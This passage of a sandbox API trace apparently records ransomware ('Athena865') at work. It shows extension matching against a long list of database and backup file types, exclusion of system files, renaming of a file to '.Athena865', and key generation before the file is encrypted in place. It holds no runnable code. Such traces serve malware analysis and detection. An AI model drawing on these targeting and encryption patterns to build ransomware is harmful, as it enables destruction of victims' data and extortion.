[0087.795] lstrcmpiW (lpString1="TA.DLL", lpString2="dacpac") returned 1 [0087.795] lstrlenW (lpString="dad") returned 3 [0087.795] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0087.795] lstrlenW (lpString="dadiagrams") returned 10 [0087.795] lstrcmpiW (lpString1="SXDATA.DLL", lpString2="dadiagrams") returned 1 [0087.795] lstrlenW (lpString="daschema") returned 8 [0087.795] lstrcmpiW (lpString1="DATA.DLL", lpString2="daschema") returned 1 [0087.795] lstrlenW (lpString="db-journal") returned 10 [0087.795] lstrcmpiW (lpString1="SXDATA.DLL", lpString2="db-journal") returned 1 [0087.795] lstrlenW (lpString="db-shm") returned 6 [0087.795] lstrcmpiW (lpString1="TA.DLL", lpString2="db-shm") returned 1 [0087.795] lstrlenW (lpString="db-wal") returned 6 [0087.795] lstrcmpiW (lpString1="TA.DLL", lpString2="db-wal") returned 1 [0087.795] lstrlenW (lpString="dbc") returned 3 [0087.795] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0087.795] lstrlenW (lpString="dbs") returned 3 [0087.795] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0087.795] lstrlenW (lpString="dbt") returned 3 [0087.795] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0087.795] lstrlenW (lpString="dbv") returned 3 [0087.795] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0087.795] lstrlenW (lpString="dbx") returned 3 [0087.795] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0087.795] lstrlenW (lpString="dcb") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0087.796] lstrlenW (lpString="dct") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0087.796] lstrlenW (lpString="dcx") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0087.796] lstrlenW (lpString="ddl") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0087.796] lstrlenW (lpString="dlis") returned 4 [0087.796] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0087.796] lstrlenW (lpString="dp1") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0087.796] lstrlenW (lpString="dqy") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0087.796] lstrlenW (lpString="dsk") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0087.796] lstrlenW (lpString="dsn") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0087.796] lstrlenW (lpString="dtsx") returned 4 [0087.796] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0087.796] lstrlenW (lpString="dxl") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0087.796] lstrlenW (lpString="eco") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0087.796] lstrlenW (lpString="ecx") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0087.796] lstrlenW (lpString="edb") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0087.796] lstrlenW (lpString="epim") returned 4 [0087.796] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0087.796] lstrlenW (lpString="fcd") returned 3 [0087.796] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0087.796] lstrlenW (lpString="fdb") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0087.797] lstrlenW (lpString="fic") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0087.797] lstrlenW (lpString="flexolibrary") returned 12 [0087.797] lstrlenW (lpString="fm5") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0087.797] lstrlenW (lpString="fmp") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0087.797] lstrlenW (lpString="fmp12") returned 5 [0087.797] lstrcmpiW (lpString1="A.DLL", lpString2="fmp12") returned -1 [0087.797] lstrlenW (lpString="fmpsl") returned 5 [0087.797] lstrcmpiW (lpString1="A.DLL", lpString2="fmpsl") returned -1 [0087.797] lstrlenW (lpString="fol") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0087.797] lstrlenW (lpString="fp3") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0087.797] lstrlenW (lpString="fp4") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0087.797] lstrlenW (lpString="fp5") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0087.797] lstrlenW (lpString="fp7") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0087.797] lstrlenW (lpString="fpt") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0087.797] lstrlenW (lpString="frm") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0087.797] lstrlenW (lpString="gdb") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0087.797] lstrlenW (lpString="gdb") returned 3 [0087.797] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0087.797] lstrlenW (lpString="grdb") returned 4 [0087.797] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0087.797] lstrlenW (lpString="gwi") returned 3 [0087.798] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0087.798] lstrlenW (lpString="hdb") returned 3 [0087.798] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0087.798] lstrlenW (lpString="his") returned 3 [0087.798] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0087.798] lstrlenW (lpString="ib") returned 2 [0087.798] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0087.798] lstrlenW (lpString="idb") returned 3 [0087.798] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0087.798] lstrlenW (lpString="ihx") returned 3 [0087.798] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0087.798] lstrlenW (lpString="itdb") returned 4 [0087.798] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0087.798] lstrlenW (lpString="itw") returned 3 [0087.798] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0087.798] lstrlenW (lpString="jet") returned 3 [0087.798] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0087.798] lstrlenW (lpString="jtx") returned 3 [0087.798] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0087.798] lstrlenW (lpString="kdb") returned 3 [0087.798] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0087.798] lstrlenW (lpString="kexi") returned 4 [0087.798] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0087.798] lstrlenW (lpString="kexic") returned 5 [0087.798] lstrcmpiW (lpString1="A.DLL", lpString2="kexic") returned -1 [0087.798] lstrlenW (lpString="kexis") returned 5 [0087.798] lstrcmpiW (lpString1="A.DLL", lpString2="kexis") returned -1 [0087.798] lstrlenW (lpString="lgc") returned 3 [0087.798] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0087.798] lstrlenW (lpString="lwx") returned 3 [0087.798] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0087.799] lstrlenW (lpString="maf") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0087.799] lstrlenW (lpString="maq") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0087.799] lstrlenW (lpString="mar") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0087.799] lstrlenW (lpString="marshal") returned 7 [0087.799] lstrcmpiW (lpString1="ATA.DLL", lpString2="marshal") returned -1 [0087.799] lstrlenW (lpString="mas") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0087.799] lstrlenW (lpString="mav") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0087.799] lstrlenW (lpString="maw") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0087.799] lstrlenW (lpString="mdbhtml") returned 7 [0087.799] lstrcmpiW (lpString1="ATA.DLL", lpString2="mdbhtml") returned -1 [0087.799] lstrlenW (lpString="mdn") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0087.799] lstrlenW (lpString="mdt") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0087.799] lstrlenW (lpString="mfd") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0087.799] lstrlenW (lpString="mpd") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0087.799] lstrlenW (lpString="mrg") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0087.799] lstrlenW (lpString="mud") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0087.799] lstrlenW (lpString="mwb") returned 3 [0087.799] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0087.799] lstrlenW (lpString="myd") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0087.800] lstrlenW (lpString="ndf") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0087.800] lstrlenW (lpString="nnt") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0087.800] lstrlenW (lpString="nrmlib") returned 6 [0087.800] lstrcmpiW (lpString1="TA.DLL", lpString2="nrmlib") returned 1 [0087.800] lstrlenW (lpString="ns2") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0087.800] lstrlenW (lpString="ns3") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0087.800] lstrlenW (lpString="ns4") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0087.800] lstrlenW (lpString="nsf") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0087.800] lstrlenW (lpString="nv") returned 2 [0087.800] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0087.800] lstrlenW (lpString="nv2") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0087.800] lstrlenW (lpString="nwdb") returned 4 [0087.800] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0087.800] lstrlenW (lpString="nyf") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0087.800] lstrlenW (lpString="odb") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0087.800] lstrlenW (lpString="odb") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0087.800] lstrlenW (lpString="oqy") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0087.800] lstrlenW (lpString="ora") returned 3 [0087.800] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0087.800] lstrlenW (lpString="orx") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0087.801] lstrlenW (lpString="owc") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0087.801] lstrlenW (lpString="p96") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0087.801] lstrlenW (lpString="p97") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0087.801] lstrlenW (lpString="pan") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0087.801] lstrlenW (lpString="pdb") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0087.801] lstrlenW (lpString="pdm") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0087.801] lstrlenW (lpString="pnz") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0087.801] lstrlenW (lpString="qry") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0087.801] lstrlenW (lpString="qvd") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0087.801] lstrlenW (lpString="rbf") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0087.801] lstrlenW (lpString="rctd") returned 4 [0087.801] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0087.801] lstrlenW (lpString="rod") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0087.801] lstrlenW (lpString="rodx") returned 4 [0087.801] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0087.801] lstrlenW (lpString="rpd") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0087.801] lstrlenW (lpString="rsd") returned 3 [0087.801] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0087.801] lstrlenW (lpString="sas7bdat") returned 8 [0087.801] lstrcmpiW (lpString1="DATA.DLL", lpString2="sas7bdat") returned -1 [0087.802] lstrlenW (lpString="sbf") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0087.802] lstrlenW (lpString="scx") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0087.802] lstrlenW (lpString="sdb") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0087.802] lstrlenW (lpString="sdc") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0087.802] lstrlenW (lpString="sdf") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0087.802] lstrlenW (lpString="sis") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0087.802] lstrlenW (lpString="spq") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0087.802] lstrlenW (lpString="te") returned 2 [0087.802] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0087.802] lstrlenW (lpString="teacher") returned 7 [0087.802] lstrcmpiW (lpString1="ATA.DLL", lpString2="teacher") returned -1 [0087.802] lstrlenW (lpString="tmd") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0087.802] lstrlenW (lpString="tps") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0087.802] lstrlenW (lpString="trc") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0087.802] lstrlenW (lpString="trc") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0087.802] lstrlenW (lpString="trm") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0087.802] lstrlenW (lpString="udb") returned 3 [0087.802] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0087.802] lstrlenW (lpString="udl") returned 3 [0087.803] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0087.803] lstrlenW (lpString="usr") returned 3 [0087.803] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0087.803] lstrlenW (lpString="v12") returned 3 [0087.803] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0087.803] lstrlenW (lpString="vis") returned 3 [0087.803] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0087.803] lstrlenW (lpString="vpd") returned 3 [0087.803] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0087.803] lstrlenW (lpString="vvv") returned 3 [0087.803] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0087.803] lstrlenW (lpString="wdb") returned 3 [0087.803] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0087.803] lstrlenW (lpString="wmdb") returned 4 [0087.803] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0087.803] lstrlenW (lpString="wrk") returned 3 [0087.803] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0087.803] lstrlenW (lpString="xdb") returned 3 [0087.803] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0087.803] lstrlenW (lpString="xld") returned 3 [0087.803] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0087.803] lstrlenW (lpString="xmlff") returned 5 [0087.803] lstrcmpiW (lpString1="A.DLL", lpString2="xmlff") returned -1 [0087.803] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISXDATA.DLL.Athena865") returned 65 [0087.803] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISXDATA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\visxdata.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISXDATA.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visxdata.dll.athena865"), dwFlags=0x1) returned 1 [0087.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISXDATA.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visxdata.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0087.805] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=107904) returned 1 [0087.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0087.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0087.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0087.805] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0087.806] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0087.806] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.806] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a880, lpName=0x0) returned 0x17c [0087.809] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a880) returned 0x100000 [0087.814] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0087.815] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0087.815] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0087.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0087.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0087.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0087.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0087.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0087.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0087.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0087.816] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0087.817] CloseHandle (hObject=0x17c) returned 1 [0087.817] CloseHandle (hObject=0x154) returned 1 [0087.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0087.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0087.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0087.818] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9321c00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x7071e4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9321c00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0xb2780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VPREVIEW.EXE", cAlternateFileName="")) returned 1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2=".") returned 1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2="..") returned 1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2="windows") returned -1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2="bootmgr") returned 1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2="temp") returned 1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2="pagefile.sys") returned 1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2="boot") returned 1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2="ids.txt") returned 1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2="ntuser.dat") returned 1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2="perflogs") returned 1 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2="MSBuild") returned 1 [0087.818] lstrlenW (lpString="VPREVIEW.EXE") returned 12 [0087.818] lstrcpyW (in: lpString1=0x241e89e, lpString2="VPREVIEW.EXE" | out: lpString1="VPREVIEW.EXE") returned="VPREVIEW.EXE" [0087.818] lstrlenW (lpString="VPREVIEW.EXE") returned 12 [0087.818] lstrlenW (lpString="Athena865") returned 9 [0087.818] lstrcmpiW (lpString1="EVIEW.EXE", lpString2="Athena865") returned 1 [0087.818] lstrlenW (lpString=".dll") returned 4 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2=".dll") returned 1 [0087.818] lstrlenW (lpString=".lnk") returned 4 [0087.818] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2=".lnk") returned 1 [0087.819] lstrlenW (lpString=".ini") returned 4 [0087.819] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2=".ini") returned 1 [0087.819] lstrlenW (lpString=".sys") returned 4 [0087.819] lstrcmpiW (lpString1="VPREVIEW.EXE", lpString2=".sys") returned 1 [0087.819] lstrlenW (lpString="VPREVIEW.EXE") returned 12 [0087.819] lstrlenW (lpString="bak") returned 3 [0087.819] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0087.819] lstrlenW (lpString="ba_") returned 3 [0087.819] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0087.819] lstrlenW (lpString="dbb") returned 3 [0087.819] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0087.819] lstrlenW (lpString="vmdk") returned 4 [0087.819] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0087.819] lstrlenW (lpString="rar") returned 3 [0087.819] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0087.819] lstrlenW (lpString="zip") returned 3 [0087.819] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0087.819] lstrlenW (lpString="tgz") returned 3 [0087.819] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0087.819] lstrlenW (lpString="vbox") returned 4 [0087.819] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0087.819] lstrlenW (lpString="vdi") returned 3 [0087.819] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0087.819] lstrlenW (lpString="vhd") returned 3 [0087.819] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0087.819] lstrlenW (lpString="vhdx") returned 4 [0087.819] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0087.819] lstrlenW (lpString="avhd") returned 4 [0087.819] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0087.819] lstrlenW (lpString="db") returned 2 [0087.820] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0087.820] lstrlenW (lpString="db2") returned 3 [0087.820] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0087.820] lstrlenW (lpString="db3") returned 3 [0087.820] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0087.820] lstrlenW (lpString="dbf") returned 3 [0087.820] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0087.820] lstrlenW (lpString="mdf") returned 3 [0087.820] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0087.820] lstrlenW (lpString="mdb") returned 3 [0087.820] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0087.820] lstrlenW (lpString="sql") returned 3 [0087.820] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0087.820] lstrlenW (lpString="sqlite") returned 6 [0087.820] lstrcmpiW (lpString1="EW.EXE", lpString2="sqlite") returned -1 [0087.820] lstrlenW (lpString="sqlite3") returned 7 [0087.820] lstrcmpiW (lpString1="IEW.EXE", lpString2="sqlite3") returned -1 [0087.820] lstrlenW (lpString="sqlitedb") returned 8 [0087.820] lstrcmpiW (lpString1="VIEW.EXE", lpString2="sqlitedb") returned 1 [0087.820] lstrlenW (lpString="xml") returned 3 [0087.820] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0087.820] lstrlenW (lpString="$er") returned 3 [0087.820] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0087.820] lstrlenW (lpString="4dd") returned 3 [0087.820] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0087.820] lstrlenW (lpString="4dl") returned 3 [0087.820] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0087.820] lstrlenW (lpString="^^^") returned 3 [0087.820] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0087.820] lstrlenW (lpString="abs") returned 3 [0087.821] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0087.821] lstrlenW (lpString="abx") returned 3 [0087.821] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0087.821] lstrlenW (lpString="accdb") returned 5 [0087.821] lstrcmpiW (lpString1="W.EXE", lpString2="accdb") returned 1 [0087.821] lstrlenW (lpString="accdc") returned 5 [0087.821] lstrcmpiW (lpString1="W.EXE", lpString2="accdc") returned 1 [0087.821] lstrlenW (lpString="accde") returned 5 [0087.821] lstrcmpiW (lpString1="W.EXE", lpString2="accde") returned 1 [0087.821] lstrlenW (lpString="accdr") returned 5 [0087.821] lstrcmpiW (lpString1="W.EXE", lpString2="accdr") returned 1 [0087.821] lstrlenW (lpString="accdt") returned 5 [0087.821] lstrcmpiW (lpString1="W.EXE", lpString2="accdt") returned 1 [0087.821] lstrlenW (lpString="accdw") returned 5 [0087.821] lstrcmpiW (lpString1="W.EXE", lpString2="accdw") returned 1 [0087.821] lstrlenW (lpString="accft") returned 5 [0087.821] lstrcmpiW (lpString1="W.EXE", lpString2="accft") returned 1 [0087.821] lstrlenW (lpString="adb") returned 3 [0087.821] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0087.821] lstrlenW (lpString="adb") returned 3 [0087.821] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0087.821] lstrlenW (lpString="ade") returned 3 [0087.821] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0087.821] lstrlenW (lpString="adf") returned 3 [0087.821] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0087.821] lstrlenW (lpString="adn") returned 3 [0087.821] lstrcmpiW 